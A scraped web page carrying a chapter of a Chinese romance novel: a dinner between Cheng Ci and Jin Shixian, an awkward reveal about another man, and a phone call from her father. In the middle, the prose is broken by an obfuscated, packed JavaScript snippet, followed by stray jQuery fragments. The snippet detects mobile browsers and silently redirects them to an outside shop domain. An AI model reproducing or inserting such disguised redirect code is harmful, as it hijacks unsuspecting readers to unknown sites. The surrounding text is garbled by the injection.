有时候，反问句式对人产生的影响要比简单的陈述多得多，万千思绪皆由这么一个问号起。
譬如，不清楚是哪一个不清楚呢？
无措心绪卷土重来，而且更强烈，如果说方才正平稳行驶的车辆拐了个弯，那么现在就是忽然上了高速，驾驶员需要第一时刻掰正方向。
她有万千思绪，但都没摊给他看，“学校附近也有很多好吃的饭馆，我觉得你应该试试。”
“是么，我应该试试？”
“当然，你没去过的。”
程辞试图掌握方向盘，语调多了几分俏皮的不同，她不察变化，但靳时显听出来。
“这片你比我熟，既然你都这么觉得——”
靳时显看着她，稍稍偏头示意，轻笑着说：“那你带路？”
所幸没再有忽然突起的路面障碍，如程辞所言，晚饭地点靳时显没有去过。
车子穿进街道，开在巷子里的一家小规模餐厅，像是闲置的家常院落重新装修，走的是悠闲田园风，路面上不容易见到，全靠食客口口相传和店主平台宣传。
不到饭点，室内室外有得选，餐厅空间不大，人一多坐在里面难免吵闹，程辞领靳时显去了后院的位子。
车子开来的路上，靳时显同她说起偶遇前发生的事。
“我坐在那儿，还在想你过来找我会怎么说。”
看似自由的随机发挥最考验人，他心里想着这事，等到敲门声响起，有人进来找教授，只觉得时间过的快。
程辞落座，脱掉帽子，“其实我有点经验。”
靳时显问：“哪方面经验？”
“我演过戏。”
不常与人言说，程辞浅浅回忆着，“很小的时候，还在上幼儿园，家里还有照片。”
她把圈圈划划的菜单递给他。
靳时显接过，笑了，没料到他一语成谶，“原来是童星？我身边没人演过戏，倒是很想看看。”
实则不然，程辞喝了口水，心想他自己就是个好演员，那种打了板就能变换表情的好演员，入戏出戏都相当快，她都差点代入进去。
见她点了双椒小炒黄牛肉和桂花酿冰汤圆，靳时显问：“喜欢吃辣的和凉的？”
翻过页，他低头看菜单，那句提醒很顺便：“平时不要空腹吃，次数多了身体不一定受得了。”
“这两道是招牌菜，第一次来都会点的。”
靳时显目光投过来，喉间溢出一声笑，程辞后知后觉，耳后发燥，她这话好像推到他身上了。
“那我还要谢谢你照顾我？”
菜单第二页，白纸黑字写着清炒野山菌也是招牌菜，他不揭穿她，“行，我记着了。”
她也发现了，他喜欢讲话留白，有所猜测但不明说的下文明晃晃的，两次了。
比如现在这句话，如果好奇心旺盛一些，性格直接一些，就很想让人问他记着什么了？这家店的招牌菜还是她的口味？
服务生收走菜单，低头操作一番，“手机号158开头的女士，上次您来的时候我们少端来一碗冰汤圆，当时那位男士说要留到下次，菜单上的这份我们帮您取消了，您看可以吗？”
服务生热心，好端端地办了件坏事。
听着听着，程辞撑下巴的掌面慢慢放下来，转过头，若无其事问靳时显：“你要吃吗？”
他看着她不作声，似是在思考，而后眉梢轻挑，以秒为单位的计时，在程辞眼里变得漫长。
字正腔圆的“那位男士”，当然不是首次出现在这儿的靳时显。
“取消了吧，只要一份。”
说完了，程辞假装很忙，端起杯子喝水，
桌上分明没人开口，却凭空出现无形压力。
怎么想在靳时显面前撒谎都不太有胜算，程辞决定如实相告：“上次和我一起那个男生……就是你刚刚在学校里看到的。”
与程辞游走的目光不同，靳时显视线一直在她身上，这会儿听到，他微微颌首，顺其自然问出来：“上次是什么时候来的？”
程辞说：“两个月前。”
“八月份。”
他稍一思忖，“七夕节？”
好会抓重点，随口一问就是重要信息，程辞含糊道：“算是吧。”
可话赶话到了这儿，好像不能再忽略下去。
七夕节共进晚餐的能是什么关系？平日里在学校遇到纠缠就罢了，程辞看上去不像随随便便就和谁出来吃饭的人。
那么，靳时显不确定，她有苦衷吗？
“我当真没有给你惹出麻烦？”
程辞不用想就知道，“没有。”
她肩膀塌了点，低头拿起勺子，“他当时约我吃饭，可能是对我有好感，但是这段时间发生了一些事，刚刚他又来找我，我不想再见到他，你也看到了。”
烟火气恰好的露天桌椅，程辞靠在椅子上，微风吹过，背景音是不喧闹的人声。
匙勺搅散金黄花瓣，瓷面“咣当”碰上碗壁，小料丰富多样，黏稠得看不出里层波动。
“难过吗？”
半晌，靳时显问她，像是留给她回忆不适体验的消化空间。
程辞喉咙咽下一小块，清甜的香气滑下去，她摇摇头，“已经没感觉了。”
已经，这是个耐人寻味的限定词。
他给她的杯子里填满水，“难得，你情绪调节的很快。”
“可能是情绪太多……”
所以不得不快，否则会被淹没。
没讲完，她收起渐弱的音调，抽了张纸巾，平声道：“其实除了和他，我自己也来过好几次，但是我吃的不多，点完菜以后单我一个人的话就很浪费。”
话音落下，情绪良多的敏锐心思发作，微不可察的僵了下，她方意识到后半句暧昧不明的韵味有多强。
纠正与无视之间来回踱步，哪一个都显得刻意，搞不好还会使尴尬气氛攀升。
程辞懊恼，她从来没觉得她说话这么不经脑，找补的也拙劣，“也还好，其实一个人来没什么……”
掩饰的包装薄到一触就破膜，靳时显不紧不慢戳开道缝：“如果你不介意，我邀请你之后和我一起。”
不了解前因后果的人听了，还以为这是他常来的餐厅。前后调换的代称是他有意还是语言中的惯用习惯，程辞不知道。
他话语绅士，“当然，前提是你想来的话。”
不过人好像总是很难坦然承认欲望，尤其是在不明晰那是否算作欲望的时候，或者是，不敢承认。
程辞抬起头问：“靳先生喜欢今天的菜吗？”
“第一次尝，还不错。”
程辞拉开藏在桌布下的侧面抽屉，取出纸张和水笔，放到他面前，“顾客意见单，写了交上去，他们会看的。”
“你也写吧，我这次过来，看到上面的菜品的确有调整。”
她答应他的邀请了，但是极其小女生的含蓄，程辞无法大方直视他。
短短几小时，程辞觉得她似乎潜移默化的，从他这里学到一些语言艺术，初次站上棋局，一招一式都新奇，切身体会不同感觉，需要缓冲。
靳时显翻开背面，她找的这家店倒有意思，他没见过这些新奇玩法，落笔之前问她：“你喜欢哪个菜？”
程辞伸出手指了指，靳时显手腕转动，他夹住意见单，传给她，上面写着——
双椒小炒黄牛肉一个人吃会浪费。
她刚说自己来吃会有点浪费。
程辞看了有一会儿，经由他手的水笔在她指间快速旋转，慢下来的话语则试图保持理智，冷静反问他：“这样是不是不太好？应该也有很多人饭量比较大……”
“我没有要他们减少分量。”
靳时显朝她摊开掌心，程辞重新将笔递给他，再推回来的意见单上多了一句话：建议推出小份。
是了，不必更改，完全可以加上一份新方案，程辞先是觉出她脑筋不够灵活，思考更多的是对面这个男人。略见一斑，他平时做事，和人相处也是如此吗？
不直说，只是给出大致范围，确切答案要靠旁人来领悟。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912707|213191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
程辞正愣神，听到靳时显问她：“意见，你不写吗？”
“我觉得都蛮好的，没什么意见。”
口味和性格相关，也肖似对事对人的看法。
面对面的两人餐桌实在是绝佳的观察地点，一举一动尽收眼底，连同那张漂亮脸蛋的细微变化，她说话时的那点儿不开心，也是转瞬即逝的。
“知足常乐很好，但偶尔还是要计较一下。”
程辞看向他的眼神带有惑意，她不太懂，他说计较，是要计较什么？
舟都将入十月，夜晚降温，时不时刮过的风也变凉。
用餐出来，程辞看到那辆停在原地的迈巴赫，次数多了，她已经有一眼发现的能力，鹤立鸡群，所以哪怕黑色也能在漫漫长夜中脱颖而出，会被吸引再正常不过。
神思乱飘，身后靳时显喊了她一声，程辞促然转身。
“发什么呆？刚出来就看见你在这儿站着，怎么不进去？”
司机拉开车门，靳时显走上前，侧身示意她先。
程辞没推辞，扶低鸭舌帽，她跨步上车，帆布包搁在并拢双腿上。
她拨了拨蓝衬衣的袖口，天气最好的时候天空就是这种蓝色，他在黑压压中最先注意到她也并非难事。很正常的，她想。
车内密闭空间的香氛味道不重，似山谷清新，闻上去安心。
很奇怪，那一瞬，凉下去的气流遭遇拦截，不由自主在程辞心间升起的却是热气。
假如她是一片天，冷热潮气的发作和交替，大约全由他来决定。
车子一路开回学校。
标有人行道的宽阔马路，不少行人和车辆在附近直行，掉头，或是转弯。
“我在这里下吧。”
回程路有一搭没一搭的闲聊就此告一段落，程辞打算提包下车，他的话断住她步伐。
“那人还会来找你吗？”
她一愣，明白靳时显口中的人是陈一烁。
有了今天那出，碍于寻常自尊心，而且程辞通过陈一烁的言行猜测，他的自尊心估计很强，她说：“应该不会了。”
“他……”
靳时显只开了个口，转头看她一眼，眸光沉稳低敛，像是要给些郑重建议，程辞以为他会和她说点什么。
他本来也是要说的，三两秒，又压下去，“回去吧，早点休息。”
“靳先生再见。”
靳时显分了眼神给那扇车窗，天色暗，灯火灿灿，那抹海水般的蓝不晃眼，随一众人流涌入学校。
回到宿舍，程辞一件件收起晾晒衣物，楼下声音像拉长的线，阳台门开着，听到屋里有手机铃声在响，她进屋去接。
“忙什么呢闺女，第二遍才接电话？”
是她爸爸程其建打来的，说是他过几天来舟都，话里话外都暗含想和她见个面的涵义。
关于此次出行打算，程其建在另一边大谈其谈，程辞拉上阳台门，周遭一下子沉默下来，“不是你一个人吧？”
只一句，程其建被堵住。
但很快，接连不断的话换了另一种方式袭来。
“小辞，爸爸没别的想法，你在舟都上大学，你妈就在你身边，那是时时刻刻都能见到你……我呢，你大半年也不回桦城一趟。”
“是不是你妈她又和你说我什么了……”
他欲言又止，像是不知道该不该往下说，程辞却知道省略的内容，她听他说过不只一次了。
最后只回绝一半：“你们好好逛吧，我有别的事要忙不能和你们一起，如果想一块吃个饭提前喊我。”
一件件夏季衣服叠起来，衣柜里满是洗涤剂的白桃味，甜而不冲。
程辞合上柜门，头一歪，靠在上面。
计较？对，是要计较。
平等的时间，因为分给不同的人，得到的情绪迥然不同。
视线移向外，透过窗户，她看到阳台上飘荡的衣物。
她漏收了一件。
原来她仍在忙着想他那句话，想他话里的语气，想她那时的反应。